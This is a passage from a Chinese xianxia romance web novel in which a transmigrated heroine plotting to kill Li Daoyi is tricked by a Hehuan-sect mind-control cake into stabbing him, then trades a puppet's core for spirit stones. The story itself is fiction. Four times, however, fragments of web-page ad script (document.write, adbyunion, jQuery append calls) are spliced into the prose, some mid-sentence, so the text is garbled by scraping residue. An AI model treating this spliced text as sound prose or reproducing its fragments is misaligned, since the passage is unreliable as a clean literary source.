其中，琉光宗的掌门乃是如今修仙界修为最顶尖的大道真人，也是李沧舟阔别数百年未见的师兄。
李道意从混乱的回忆中抽身，捡起脚边的内丹，往司马稚的小院飞去。
//
司马稚回去的一路上都在思考，灵网消息的可靠性。
直到身侧的卓蕙心叫了她几次，她才回过神来。
思考什么的，对于一个脑子快生锈的大学生来说，真的很不合适！
卓蕙心小心翼翼地开口：“仙长在想什么？”
“你不用叫我仙长，我叫司马稚，”司马稚叹了口气，还是苦恼于要怎么回去的问题，“对了！卓姑娘，是不是会一些药术？”
卓蕙心羞怯地低下头，谦虚道：“我不是很会，但我对一些药材医方记得会更快一些。”
傻孩子，这就是你的女主光环啊！
司马稚忍住笑，“好，太好了，那明日我找你！”
司马稚将自己的所有资料都收集起来，送到了卓蕙心房里，顺带将自己的作业也放了进去。
给她一个大学生布置作业，简直是天大的笑话。
司马稚刚在灵网上下单了一袋合欢道师姐牌糕点，仰头就看见李道意坐在窗前的树上。
斑驳的树影落在他身上，袍边被微风拂起，他悠闲自在地倚靠着树干，也不怕那树上有什么招人的虫子。
司马稚没忍住，还是仰头问道：“你饿吗？”
李道意垂眸看了她一眼，耳边的银色小辫垂至肩上，“你能满足我？”
“……？”这话有点不对劲，司马稚皱了皱眉，“你想吃多少？”
李道意伸出了一根手指，那手指纤长，指腹处带着薄茧，李道意在司马稚面前晃了晃。
“一块？”司马稚不信。
李道意这种修为高的无情道修，怎么可能用一块合欢道糕点就能起效？
他明显就是在骗自己。
而且还不怀好意。
司马稚回神，在灵网上又多下了几单，将仅剩的灵石全都花完了，选了更多种口味的糕点。
李道意将那颗内丹丢到司马稚的面前，“金丹。”
司马稚一眼就看出，这冒着黑气的是那傀儡的内丹：“诶？你不是已经把那傀儡烧了吗？”
李道意语气平淡：“烧了血肉，又不是毁了内丹。”
司马稚有些狐疑地收下：“那行，到时候五百灵石分你一半。”
“我不要灵石。”李道意居高临下地盯着她，那眼神赤裸又直白。
司马稚顿了顿，默默地将内丹放进了乾坤袋里，以免李道意反悔：“那你要什么？”
“你的剑，”他朝着重剑扬了扬眉，“换你的重剑。”'');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
>
司马稚瞥了一眼自己身边还未开灵智的重剑，这把剑其实也只是李沧舟让她随意在兵器库里挑的，并未生出剑灵。
只不过她当时拿着顺手，便挑了这一把。而且这剑身重，快而又重的剑术，平常修士很难与她对敌。
李道意难道也想改修重剑了？她这把重剑可比不得李道意手里的那把长星剑。
“你拿去吧。”司马稚毫不在意。
五百灵石，应该能买到一把很好品质的佩剑了，司马稚根本不稀罕这把重剑。
李道意没想到司马稚这么轻松地就同意了，他怔了一瞬，随即还是将重剑收下。
李道意往外走了几步，忽然停了下来，又转身回到司马稚的面前。
他问：“你还记得那份糕点么？”
司马稚坐在窗边，一个不小心差点摔下去，“……什么、什么糕点？没有糕点啊？我哪里有糕点？你饿了就去吃饭，我这里可没有糕点吃。”
李道意笑得眼尾都弯了起来，似乎看着司马稚局促的模样心中就在暗爽。
司马稚抿紧了唇，手中握紧了拳头。
他笑得，好讨打。
李道意似乎得到了想要的答案，心满意足地拿着她的重剑离开。
只留下司马稚一人，沉默地看着灵网上下单的合欢道糕点。
她买糕点的事，不会被李道意看出来了吧？！
司马稚越想越觉得是这样，他都已经辟谷不知道多少年了，要是给他送糕点去，肯定会露馅的！
也只有卓蕙心给他送去，他或许才会多看几眼。
上一次回溯，司马稚就是趁着卓蕙心给李道意送糕点时，偷偷给他下了毒。
又担心这点毒他死不成，还上去补了一刀。
司马稚挠了挠头，就算被他知道了又怎么样，反正他又不可能知道这些糕点长什么样子，到时候悄悄塞进他的嘴里，不怕他不认输。
//
李道意将重剑带回了落霞峰，长指摩挲着司马稚的这把重剑，实在平平无奇，只不过剑柄处被她绑了很多条绸带，系上了好多个蝴蝶结。
剑身冰冰凉凉的，剑锋一般，也算不上削铁如泥。
李道意仔细地打量着重剑，而长星剑却在他身后发出激烈的响动，像是看见自己的主人抚摸别的剑，伤心想要争宠一般。
李道意沉下眸子，曲着手指敲了敲伞面，“闭嘴。”
李道意看了许久，终于握住剑柄，划破自己的掌心。
鲜红浓郁的血液瞬间流满剑身，李道意身体中的戾气像是得到了倾泻口一般，不停地从掌心外溢。
李道意缓缓闭上眼，体会着血液往外溢出的酥麻感，但他等了很久，久到脚边的血迹已经变得紫红。
他也没有察觉到任何他的生命正在流失的感觉。
不是这把重剑的原因。
那就只有司马稚了。
李道意仰躺在榻上，将银发压在身下，他的小臂挡住双眼，只能见着他嘴角忍不住地颤抖。
他半支起身子，将重剑上绑好的蝴蝶结拆下，用绸带重新绑在自己掌心的伤口上。
李道意看着绸缎被自己的血液洇红，笑意越来越浓烈。
他都快有些等不及了啊。
5. 005
次日，司马稚还没收到合欢宗师姐牌糕点，就在灵网上看到有人在发——
【有人买了好几盒我师姐的糕点，收货地还是剑宗，剑宗这波是想知己知彼百战不殆吗？】
【回复上面，你把剑修们想得太聪明了，估计就是馋的。】
【有没有一种可能，某个剑修也有了心上人？】
【楼上，恋爱脑是没有好下场的。】
【……】
司马稚翻了很久，只觉得道友们一来一回说得好玩，但也没看到什么有用的信息，便只能等着糕点送到她的手上。
只是，要让谁去给李道意送？
司马稚觉得，肯定不能让卓蕙心去。要是卓蕙心送了之后，李道意更加对她情根深种了，那司马稚要是得为了自己完成任务，还要亲手拆了自己的CP。
总得想出一个两全其美的办法。
司马稚想了又想，让大师兄邱宗然去给李道意送温暖就很不错，到时候李道意要是“犯病”的话，邱宗然还能治一治他。
实在不行的话，她就去求一求李沧舟，李沧舟为了剑宗未来的话，说不定会对李道意好一点。
没等一会儿，灵鸟送来司马稚的订单，将糕点放在了剑宗门口。
邱宗然正好送了一批历练的弟子们下山，回来就见着司马稚抱着一大木盒鬼鬼祟祟地往回走。
“小师妹！”邱宗然跑上前去，“你买的是什么啊？”
剑修向来穷得叮当响，灵网上的东西又比珍宝阁的贵上不少，其中的管理灵网的宗门还要从中牟利，所以剑修是很少在灵网上买东西的。
司马稚到剑宗不久，之前也只是一名散修，应该没什么钱财才对。
司马稚倏然被人叫住，呆愣地转过身，才见着是邱宗然。
司马稚抱着怀里的木盒，“师兄。”
邱宗然还在往司马稚怀里的那一大盒东西瞧，他好奇道：“师妹买的什么好东西，给我也瞧瞧？”
司马稚想了想，还是决定告诉邱宗然，毕竟还要请邱宗然去给李道意送温暖。
她说：“是想送给李道意的糕点。”
“送给少主的糕点？！”邱宗然像是没见过糕点一样，期待地看着司马稚，丝毫没有发现那糕点外盒上面画着合欢宗的宗徽。
邱宗然抿了抿唇，跃跃欲试：“那我能吃吗？”
司马稚愣住，想要阻止他。
邱宗然也不知是真没听见，还是装没听见，他满心满眼都是司马稚怀中的糕点。
邱宗然说：“这糕点色香味具全，甜丝丝的气息让我的爱剑都为之颤抖。实话告诉你吧，小师妹，我在未拜入剑宗之前，我家那年迈的娘亲就时常给我做这样的糕点，只是后来……”
司马稚无奈：“……”
看来合欢宗的糕点不是一般的厉害，连闻到这股香味都能被迷惑住。
邱宗然看着那糕点的目光灼热，眼角满含泪花。
“那、师兄尝尝？”司马稚试探性地将糕点递出去。
邱宗然求之不得，立马拆了盒子，尝了一块。
他一边嚼着，一边满足地眯起眼，“好香啊！有点像……”
邱宗然想了半天，没想出来，又吃了一块。
司马稚就蹲在石阶上，等着邱宗然的评价，直到他吃遍了全部口味，盒子里还只剩下最后两块的时候，她终于没忍住将盒子抱紧，远离了邱宗然好几步。
“师兄！”司马稚叫停，“你觉得怎么样啊？”
邱宗然的双眼有些失神，他痴痴笑着，回味着口中的味道：“好吃！像是我娘亲当年给我做的，是同一种味道！我娘亲待我极好，当年若不是恰逢狐妖之乱，我也不会离开我的娘亲……”
邱宗然口中一直说着他的娘亲。
司马稚：？
这不会是盗版合欢宗糕点吧？！
司马稚翻来覆去将木盒看了好几遍，确定那上面刻着合欢宗的宗徽没错。
她又狐疑地拿出玉牌，看了一下自己的订单信息，也没问题。
司马稚垂眸看着仅剩的两块糕点，手指颤抖地拿起一块，塞进了自己嘴里。
入口即化，口中瞬间溢满清新的茶香，是挺好吃的。
李道意应该会很喜欢这种清香的味道。
对、李道意！
她要给李道意送合欢宗的糕点去。
司马稚一拍脑门，本来清明的双眼变得朦胧失神，像是被人夺舍了一般。
她喃喃道：“师兄，你说，李道意会吃吗？”
邱宗然眼冒爱心，视线始终落在最后那一块糕点上，他语气肯定：“少主肯定会喜欢的！我娘亲当年……”
//
落霞峰上，李道意还在把玩着司马稚的重剑。
他不准备还给她，本来就是他交换回来的，就算对自己无用，那也得是他的东西。
他刚一抬头，就见落霞峰院子的门被人推开，司马稚抱着一个木盒缓缓走向他。
李道意面色沉静，只是微拧着眉头，看着司马稚迟钝的动作。
走近了李道意才发现，木盒里只放着一块小小的绿色糕点。
“李道意、你……”司马稚愣了一刻，刚抬起头来，就撞进李道意的眸子里。
她呆呆地望着他，李道意那双无情无欲的眸子似乎多了些波澜，而她的视线好像只能落在他身上。
司马稚从来不觉得李道意长得难看，相反，她觉得他生得极美，就连穿着剑宗那百年难得一换的道袍，也是好看得要命。
额前细碎的银发被风吹拂着，像是在挠动着她的心尖。还有他那两条小辫，随着他弯腰的动作，正好落在她面前。
他倾身，那股淡幽的昙花香气勾动着她。
“司马稚。”他声音冷淡。
李道意认真打量了她几眼，又看了看她怀中的糕点，心中了然，有些压不住笑。
司马稚朝着他眨了眨眼，似乎回了神，但那黏腻的视线仍落在李道意身上。
他明知故问：“合欢宗的糕点？”
司马稚点了点头，又摇了摇头。
“嗯、挺好吃的，你也吃。”司马稚看了他一眼后，又立马垂下头。
她要是再多看李道意几眼，恐怕连站都站不稳。
但真正的司马稚哪里会对他这么友善？
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
李道意笑了笑，婉拒。
“不要！”司马稚急得拉住他的小臂，“不要拒绝我。”
李道意冰凉的身体突然被一团灼热的掌心贴近，他不适地僵了一瞬。
司马稚抓得更紧了一些，他身上的味道很好闻，那冰凉的触感让她忍不住贴近。
她想再靠李道意更近一些……不对！她靠李道意这么近干嘛？现在还不能杀了他呀！
司马稚眼神清明一瞬，看见自己紧紧拉着李道意不放，可刚一抬头，在看到李道意的那一瞬，她的思绪又混乱了。
“你下毒了？”李道意问。
司马稚的双脸羞红，红透了耳根，“没有……我没有下毒，本来就有的。”
李道意扬了扬眉，看着她的样子有些好笑，“所以，你吃它的时候，想的是……我？”
司马稚被人说穿了心事，这人还是李道意，她硬着头皮点头。
“哦，”他尾音拖得很长，像是故意作弄她，又叫了一声她的名字：“司马稚。”
司马稚背脊一颤，酥麻的感觉从心尖直冲大脑。
她还抓着他的手臂，剑宗的衣袍轻薄，可司马稚觉得还是不太够，想伸进他的衣袍里面去……
司马稚猛地回神，被自己的想法吓得呆住。
她看向李道意的眼神清醒了许多，她立马丢开他的手，往后退了几步。
她转身就想逃，而李道意又叫了一声：“司马稚。”
司马稚感觉自己的天灵盖要被李道意叫炸了，但被他叫着名字，心中又会一阵酥麻。
叫得她腿软。
“你知道这个糕点叫什么名字吗？”李道意问。
司马稚当然不知道，只是在灵网上看到有人说这样的糕点有奇效，能转移李道意的视线。
可她现在怎么会突然想着，要是李道意能一直看着她就好了。
离谱，她在想些什么乱七八糟的。
李道意拿出木盒里的糕点，站在司马稚面前，他弯腰问她：“你是不是想我吃掉它？”
司马稚乖乖地点头。
李道意伸出另一只手来，像是在抚摸小动物一样，抚着司马稚毛茸茸的脑袋。她的长发柔顺，被李道意一碰，不由自主地靠近他。
司马稚知道这样不对劲，但还是忍不住。
他整个人像是一团明亮的光一样，身上带有巨大的吸力，让她扑向他。
李道意将糕点一点点塞进司马稚嘴里，而指腹上残留着一点碎屑，“舔干净。”
司马稚拧了拧眉，忽觉不对，恢复清醒的一瞬间，伸手将他猛地推开：“去死啊你！”
李道意笑得胸腔都随着震动，他又开口叫她的名字：“司马稚。”
司马稚安静下来：“……”
他感叹道：“还挺好玩。”
李道意看着木盒里的残渣碎屑，笑着解释道：“这是合欢宗惯用的迷惑人心智的糕点，吃的时候想的是什么，就会被什么迷惑。”
他也不管司马稚有没有听懂他的话，自顾自地笑起来：“你好笨啊，不过……”
“这样我是不是能控制你，做一些我想做的事情了？”
6. 006
司马稚不知道现在是怎么回事，她拿着剑好像要向着李道意砍过去。
重剑是谁塞进她手里的？
而李道意本人就她面前沉稳地站着，躲也不躲，仿佛就是在等着她把剑砍下去。
司马稚心中微颤，她现在还不能杀了他。
可手中的动作却不受她的控制，重剑渐渐向着李道意的胸口靠近。
李道意笑着看她，他语气蛊惑，“快一些啊，刺进来。”
司马稚双手颤抖着将重剑送进去，剑尖刺破李道意的青袍，点点鲜红从他胸口处晕开。
重剑刺破他肌肤的那一瞬，李道意渴望的那种感觉重新袭来，一寸一寸深入，他享受般眯起了眼，体内的灵力从伤口处溢出，灵力想要愈合他的伤，但在司马稚的剑下却无能为力。
他就说，这一切还得让司马稚来。
“小师妹！”
清醒过来的邱宗然拉着卓蕙心就往落霞峰赶，正巧见着司马稚拿着剑往李道意刺去，肯定是那糕点坏了事！
若不是他一直神神叨叨地念叨着“娘亲”，也不会被卓蕙心看出来中毒被迷惑的迹象，还好有卓蕙心用自己救了他。
邱宗然又想起，司马稚也吃了一块，当时她好像是问着李道意，邱宗然顿觉不妙，拉着卓蕙心就往李道意的住处赶来。
还好！
这剑刺得不深。
邱宗然引了卓蕙心的指尖血，往司马稚额间只轻轻一抹，司马稚立马恢复了神智。
她一抬眸，望进那双淡漠又挣扎的眸子里，重剑还在她的手中。
而李道意的手紧紧握着剑身，重剑划破他的掌心，不停地往下滴着血，鲜红的血液一滴一滴落在地上，绽出一朵朵血色的小花。
司马稚想抽手，那剑身却不能抽动分毫。
另一端被李道意握在手里。
司马稚清醒过来，见李道意眼中那一瞬而过的疯意，她指尖颤抖，用尽全力将重剑从他掌中抽出。
李道意现在还不能死。
重剑抽出，李道意不由自主地往后退了几步，口中溢出浊血。
司马稚立马丢了手中的剑，手忙脚乱地拿出止血的丹药想要往李道意嘴里塞。
但他苍白着一张脸，却仰着头，不分给她半分视线。
“你快吃了它！”司马稚将丹药举到他嘴边。
邱宗然和卓蕙心站在一旁也是着急，但他们却不知道司马稚和李道意之间发生了什么，也不知道为什么司马稚拿着剑就往李道意身上砍。
而李道意躲也不躲，明明凭他的修为，完全可以躲开司马稚的那一剑。
李道意似是气愤又似是无奈，他懒懒地看着她，额间那抹鲜血像是朱砂痣一般，她像是来拯救他的仙人，眼中虽无悲悯之色，但却无比紧张。
李道意就着司马稚的指尖，将丹药含了进去。
他抬手，用袖边擦去嘴角的污血，袖口也被血液染红。
他淡漠地垂眸看了一眼自己破损的衣衫，声音无悲无喜：“赔我衣袍。”
司马稚：“……哦。”
李道意脸色苍白，看起来较他的发色还要虚弱几分，他捂着胸口，一步一步，缓慢地向房里走去。
他顿了顿：“把剑留下，这是我的。”
司马稚：“……哦。”
司马稚将重剑放在石桌上，那上面仍残留着鲜血淋淋，刺眼夺目，鼻尖是一股浓郁的血腥味。
司马稚抬眸看着李道意的背影，心中总觉得奇怪。
他不是那种能束手就擒之人，若是有人想杀他，恐怕活不出片刻。
司马稚没想通，李道意为什么这么……宽容？
院中的威压消散，从他体内散出的灵力潜入四周，随着李道意的离开，消失不见。
卓蕙心立马走上前来，扶住脚软的司马稚：“仙长！没事吧？”
邱宗然庆幸着：“还好遇见了卓姑娘，不然就完了！师妹你那糕点是在哪儿买的？竟然能这般迷惑心智……”
“还有、还有，师妹你和少主说了些什么？怎么就拔剑相向了啊？”
邱宗然絮絮叨叨问个不停，司马稚是一句都没听进去。
刚才、她不应该是想杀他的啊！
可司马稚努力回想，连吃过糕点之后的所有事一点儿都没有印象，她甚至不知道自己是怎么走到李道意院子里来的。
司马稚垂眸，见着卓蕙心指腹凝固的血液，疑惑地问道：“卓姑娘，你知道这是什么毒么？”
卓蕙心摇头，“我不知道，但是我看见邱仙长一直神情恍惚，想来受了什么东西迷惑。而我……”
后面的话，卓蕙心不太好意思说。
但司马稚知道，卓蕙心的血液能解百毒，不管是什么稀奇古怪的毒药，卓蕙心都能轻松化解。
这样的体质在修仙界是万里挑一的，但是卓蕙心却不敢说出来，若是被更多的人知道，难免会把她当作一个移动的解药库。
司马稚十分感激，若不是卓蕙心的话，她说不定现在已经把李道意杀了。
那她的任务就彻底失败了。
邱宗然挠了挠头，猜测道：“师妹，你看看是不是你买的糕点被人下了毒？”
他也是吃过糕点之后，就完全没了自己的神智，到现在也记不起来当时发生了什么。
他不管怎么问卓蕙心，看到他做了什么傻缺事，卓蕙心只顾着摇头，一脸羞红。
邱宗然当时就顿觉不对，这让他大师兄的颜面可往哪儿搁啊？！
司马稚又翻出了她之前在灵网上收藏的那一条消息，在【吃了合欢道师姐送来的糕点，现在满眼都是师姐了，怎么办？】之下，赫然有人回应道——
【合欢宗最热门的糕点不就是想想念念嘛，你小子吃的时候肯定是想着你师姐，所以才会满眼都是她。】
司马稚：“……”懂了。
她没买到盗版货，或许是她当时吃的时候就想着要杀李道意，所以才会用剑砍他。
但是……这可要怎么给李道意解释啊？！
说她其实是想迷惑李道意，让李道意不要喜欢卓蕙心，结果自己中了毒？
绝对不可能！
可这样一来，李道意日后肯定会很提防她，她以后若是找到办法杀李道意的话，要怎么样才能近他的身啊？！
司马稚想得头都大了，才听见邱宗然小心翼翼地问她：“少主这是……生气了还是没生气啊？”
当事人司马稚垂着头，瓮声瓮气地开口：“……这次，我真不是故意的，你们信吗？”
“当然啦，”邱宗然点头，“师妹你和少主又没有什么恩怨纠葛，你也没理由杀他啊！都是那个糕点的错，师妹快查一查究竟是谁下的毒！我剑宗虽然穷了点，但可不是吃素的！”
……其实是有恩怨的。
司马稚拉了拉两人的衣袖，示意他们先走出李道意的院子，要是被李道意听到可就不好了。
交谈的声音渐行渐远，李道意撕开衣袍，那伤口已经没再溢出血来了，这一次的灵力并未消耗多少。
李道意有些头疼。
这一次，分明是司马稚自己撞上来的
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
，却被人阻止了。
李道意不爽这种被人中途打断的感觉。
但刚才，司马稚将剑刺入他胸口的那一瞬间，李道意的脑中一片空白，体内的灵力开始撕裂他的伤口，不断溢出，那是一种最接近死亡的爽感。
李道意躺在榻上，床角的毒蝎闻着鲜血的味道，加快了速度爬上他的身体，毒蝎不满足地汲取着他身上的血渍。
李道意伸手，长指捏住毒蝎的尾巴，倒着将毒蝎甩了甩，毒蝎晕头转向。
李道意冷哼了一声：“你倒是满意了。”
//
司马稚洗净了手，托腮思考着要怎么先给邱宗然解释。
卓蕙心也是一脸好奇地望着她，她的眼神很胆怯，但也藏不住想听八卦的冲动。
司马稚犹豫再三，终于开口：“其实吧……这个糕点是我在合欢宗买的，主要是为了……”
“啊！”卓蕙心恍然，“我听说过合欢宗，合欢宗的弟子长得都极美，仙长也是为了变美么？可仙长已经很好看啦！”
邱宗然沉默着，想来他已经猜中了司马稚的想法，可他却不愿意说出来。
明明当时掌门将司马稚带回宗门来时，是要邱宗然带领她修行的，而她和李道意的接触也不算多。
小师妹为什么会喜欢少主？
难道他不够英俊潇洒嘛？！
司马稚一脸菜色，慢慢给两人解释道：“……大概就是这样了，是我当时买糕点的时候没有看清楚功能介绍，这才伤了……少主。”
“少主”两个字在她口中哽了很久，才吐出来。
“师妹，我刚查了合欢宗的那个糕点，食用者会被意念控制，”邱宗然的语气突然正经起来，让司马稚的心突然咯噔了一下，“但少主他是修行无情道的，所以喜欢少主是没有结果的。”
司马稚呆住：“……”
她就知道会越解释越混乱！！
司马稚沉默许久，十分苦恼地遮住自己的双颊，眨巴着一双水蒙蒙的眼睛，期待地看着两人：“……这件事，你们能替我保密么？”
邱宗然不言。
卓蕙心倒是很乐意地点头，她知道了仙长的秘密，也就说明她和仙长的关系更近了一步，何乐而不为呢？
卓蕙心安抚道：“仙长不必担心，仙长生得好看，剑术又厉害，以后一定会遇见更好的人。”
这时，邱宗然十分认同地点头：“卓姑娘这话说得没错，少主与我们本就不是一路人，师妹不必将心思放在少主身上。”
司马稚闭眸，强忍着泪水和笑意应下。
“我明白了，只是我伤了他，”司马稚为难地开口，“若是少主要计较，那我不就得被送到执法堂了啊……”
司马稚本身就是以一个玩家的心态在这个世界中生活，游戏角色受不受伤其实对她来说，根本没什么意义。
更别说，这角色还是她完成任务必须要杀的人。
她就更不会产生什么怜惜之情了。
主要是她担心，这一次伤了李道意，下一次就更难近他的身了。
卓蕙心提了个主意：“仙长可以送些药膳给少主，以示歉意。”
“哎！”邱宗然连忙摆手，“没必要、没必要，少主他早就辟谷了，药膳对他来说并没有什么用。”
卓蕙心想了想：“那就送一些少主需要的？”
司马稚一拍手，灵光一现，“我知道了！”
他不是拿走了自己的重剑嘛，想来李道意是很喜欢收集这些兵器的，到时候她去琉光宗换了那五百灵石，给他买两把好剑！
7. 007
司马稚去求了剑宗掌管医药的弟子，求来了几颗治伤的丹药。
虽然她当时没把李道意伤得很深，但司马稚心里总想着这件事。
要么就一击毙命，要么就暗中蛰伏。
司马稚觉得自己现在属于后者，于是她趁着天色还未大亮，将丹药送到了落霞峰去。
司马稚刚到李道意门外的时候，见他屋子里的灯还亮着，恐怕是一夜未灭。
她伤他的事，只有他们四人知晓，这李道意竟然也没往外说。若是之前有宗门发生这种内斗之事，估计会被严惩，被告到执法堂去都是正常的。
李道意他好像……并没有打算追究她的责任。
这样一想，司马稚心中更不舒畅了。
他之前也没对她露出过半分善意啊，怎么这一次反而还保着她？
司马稚没想明白，这李道意就像换了个人似的。
不、不对，好像是从上一次开始，这李道意就不太对劲，就连吃那毒糕点后，她去杀他时都没有反抗。
司马稚叹了口气，想不通的事情，一切都纳入世界未解之谜。
司马稚将一盒药丸放在他的门前，刚弯下腰，就听见里间传来的闷哼声。
像是受到了极大的痛苦撕扯。
她老实敲门，“少、少主，你还好吗？我给你送了丹药。”
里面突然安静下来，没了任何声音。
有那么一瞬间，司马稚还觉得是自己听错了。
但好死不死，司马稚见突然安静，摸出了乾坤袋里的一道透视符。
里面点着一盏灯，暖黄色的灯光下，司马稚看到李道意半躺在床上，衣衫不整，那道袍被他撕了个七零八落。
胸间的血迹顺着他的肌肤滑下，道道血痕触目惊心。
司马稚正要收回视线的一瞬间，他眼尾微抬，朝着她的方向看来。
他分明是知道自己在这儿的！
司马稚撕下透视符的那瞬，她似乎看着李道意在对她笑，笑得不怀好意。
“我将丹药放门口了，”司马稚朝着里面说了句，想想还是不妥，又问道：“你真没事吧？”
里面的人没回话，但司马稚站了片刻，见天边日光将要冒出了头，着急起来。
“那好吧，”司马稚小声道：“我要去和琉光宗道友换灵石了，要是少、少主的伤很严重，就传信给我，到时候我在珍宝阁买一些上等的丹药。”
“……”
回应她的还是一阵沉默。
司马稚在灵网上问过琉光宗的人，他们一听司马稚手中有申赫的内丹，便派了弟子到剑宗镇来。
她没用剑宗的名义与琉光宗交换，要是被人知道剑修这么穷，传出去对剑宗的名声也不太好。
不过，在修仙界中，好像博学多知一点的道友都知道剑宗一穷二白。
司马稚这还是第一次在大白天一个人逛剑宗镇，与入夜后的情景大相径庭。
这时的小镇热闹无比，来来往往的货郎挑着货箱，小摊贩们也在路边做着生意。
司马稚被一阵肉香吸引，瞥过一眼小摊上的大肉包子，她摸了摸自己空空的荷包，歇了心思。
虽然常吃着辟谷丹，但作为一个正常的人类，她还是拒绝不了美食的诱惑，多看了好几眼才收回心思。
司马稚老老实实蹲在路边，等着琉光宗的人找上来。
琉光宗的弟子很好辨认，他们穿得光鲜亮丽，穿的都是上品的道袍，身上的珍宝数不胜数，而且他们的腰间都会挂着一条穗子，不同颜色的穗子代表着不同的修炼之道。
她等了许久，才收到灵网上琉光宗的弟子给她传来的消息。
司马稚随着灵网上的指引，绕过几条巷子，才来到一个小茶肆。
她刚一进去，茶肆的小二就迎了上来，想来是有人已经在此等候了：“姑娘可是来寻仙长的？”
司马稚点了点头，说明来意后，小二才将她引了进去。
茶肆里间清新雅致，倒是符合琉光宗的喜好。
里间只坐着一个少年，高束着马尾，腰间挂着一条红色的穗子。
红色的穗子，应该是琉光宗的内门弟子。
申赫这样的被堕魔控制的修士，也值得内门弟子出面吗？
司马稚持怀疑态度。
“道友？”司马稚问。
那人微微颔首，“在下琉光宗，荀疏。”
司马稚闻言，扬了扬眉，这名字听着熟悉，她仔细一想，这不就是魔君大人在修仙界的假名字嘛！
司马稚：“我是个散修。”
她并不想这件事和剑宗扯上什么关系，这些灵石嘛，她又不会上交。
荀疏打量了她片刻，狐疑地问道：“是你捡到了申赫的内丹？”
荀疏用词听起来很别扭，但说来也是，她还是一个刚入门的修士，怎么可能凭她的一己之力能杀掉金丹期的修士。
司马稚坦言：“他的内丹确实在我这里。”
司马稚将那人仍冒着黑气的内丹放在荀疏面前，等待着他将五百灵石换给自己。
而荀疏只是看了一眼那内丹，便将目光落在司马稚身上。
荀疏做事向来直来直去，“道友，你需要和我回琉光宗一趟，但是放心，灵石不会少你的。”
“你是来坑我的？”司马稚沉下脸。
明明灵网上也没说交换内丹还要让她去琉光宗，而且她现在要是离开剑宗的话，以后还怎么杀李道意。
荀疏站起身来，红色穗子晃了晃，“怎么能说是坑？申赫堕魔另有其因，你又正好是杀了申赫之人，我们肯定要将你带回去调查一番。”
司马稚就算知道所有游戏剧情，也很难向现在的荀疏去解释。
如今身处修仙界的魔君荀疏没了记忆，恐怕他觉得身边所有人都是傀儡，也不可能怀疑自己是魔君。
难道她现在要告诉荀疏，小子，傀儡这些祸事不都是魔族与堕魔联手搞出来的吗？
难搞。
荀疏也不吝啬，在拿走申赫内丹时，丢了一袋子灵石到司马稚怀里。
“里面的灵石只多不少，前提是，你要跟我回琉光宗，”荀疏顿了顿，“或者，说出你的背后之人。”
“等等，”司马稚打开袋子看了一眼，忍住心疼还是还了回去，“灵石我不要了，内丹也给你，我不会去琉光宗。”
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
荀疏的脸色沉下来，“道友，你可知在这修仙界中，琉光宗是一等一的大宗门，我们需要调查清楚申赫堕魔的原因，而你正巧是最后见过他的人。”
还是杀了他的人。
司马稚叹了口气，向荀疏坦白道：“其实，这颗内丹，是李道意给我的。”
荀疏愣了一瞬，口中念着李道意的名字，嘴角忽然扬起笑意：“原来是他，那道友你也是剑宗之人？”
“……嗯，”司马稚眼神飘忽，“我就是想换五百灵石去买把好剑，你说的那个傀儡，我记忆也不是很深，我跟你回琉光宗也没什么用的。”
荀疏突然朝着司马稚行了个大礼，“道友，可否带我去剑宗拜访？我想见一下沧舟师叔和道意道友。”
司马稚咬了咬牙，思索一番。
荀疏继续道：“再加一千灵石？”
司马稚：“……”
“两千，”荀疏将桌案上的佩剑拿起，“不能再多了。”
这是利诱不行，改威逼了嘛！
司马稚往后退了几步，“行、行吧。”
荀疏倒也爽快，灵石说给就给。
司马稚瞧着他大方的样子，真的很好奇他的乾坤袋里有多少灵石。
一颗内丹换了两千五灵石，这毫无重量的乾坤袋拿在手中都感觉沉甸甸的。
“我得先去珍宝阁一趟，”走出茶肆，司马稚看向身边的荀疏，“你有传送符么？”
十颗灵石才能买一张的传送符，荀疏眼也不眨就给了她一张。
这琉光宗还是太有实力了。
荀疏看着她的额间，突然说道：“你没有修为。”
司马稚耸了耸肩：“这不是很明显嘛。”
她催动符纸，刚到珍宝阁的那刻，怀中的玉牌颤了颤。
司马稚躲开荀疏的视线，看清了玉牌上的字，是大师兄邱宗然发来的消息——
【疼。】
只一个字。
司马稚手心莫名发热，热意传递至耳尖，让她忍不住深吸一口气。
这人怎么自己不给她传音，为什么要用邱宗然的灵网？！
司马稚又看了看玉牌上的那个字，然后立马将玉牌塞进了怀里。
“掌柜，”司马稚抬脚走进珍宝阁，“我要最好的、治剑伤的药。”
掌柜一看她身后跟着的琉光宗弟子，急忙迎上前来，“两位仙长，请尽情挑选，琉光宗的仙长都能享受优惠。”
“那剑宗呢？”司马稚好奇地问。
掌柜指了指一旁竖着的木牌，上面写着——
【剑宗修士不得入内。】
司马稚：“……”
那掌柜垂泪欲滴：“剑宗的修士！！在老朽这里，已经欠下了几座山头的灵石了！！”
司马稚不敢应声，只哈哈笑着，岔开话题：“那掌柜给我拿一些治剑伤的丹药，要最好的那种，价格不用担心。”
掌柜立马转身，去木柜后取货，：“还是琉光宗的仙长大气啊。”
司马稚补充道：“还有……要两把剑，一把好剑，最好是重剑，能养出剑灵的那种。另一把的话，普通一点的就好。”
能杀李道意就行。
8. 008
司马稚和荀疏刚到剑宗，李沧舟已经让邱宗然在山门前等着了。
“这位就是琉光宗的道友吧？”邱宗然拱手问道。
“嗯，他是荀疏道友，”司马稚介绍道：“想来调查一下申赫之事。”
邱宗然神情紧张了一下，拉过司马稚问道：“琉光宗还是要计较那夜咱们杀了傀儡的事吗？”
司马稚想了想，“他应该不会对我们怎么样吧。”
邱宗然松了口气，“那就好，我还不知道怎么跟掌门交代呢！”
“师兄，你带荀疏道友去见掌门么？”司马稚看向落霞峰的方向，“我得给少、少主送药去。”
邱宗然一拍脑门，想了起来：“对、对，少主今日说他那伤口还痛得不行，剑宗的丹药库一点用都没有。他也不让我告诉别人，说你给他买药回来了。”
“嗯，”司马稚点头，朝着邱宗然摆了摆手：“那我先去。”
“师妹！”邱宗然突然叫住她，“早日放下。”
没由头的一句话，让司马稚的脸霎时间变得绯红。
她想到之前和邱宗然解释的话，只好点头：“我已经放下了，师兄放心。”
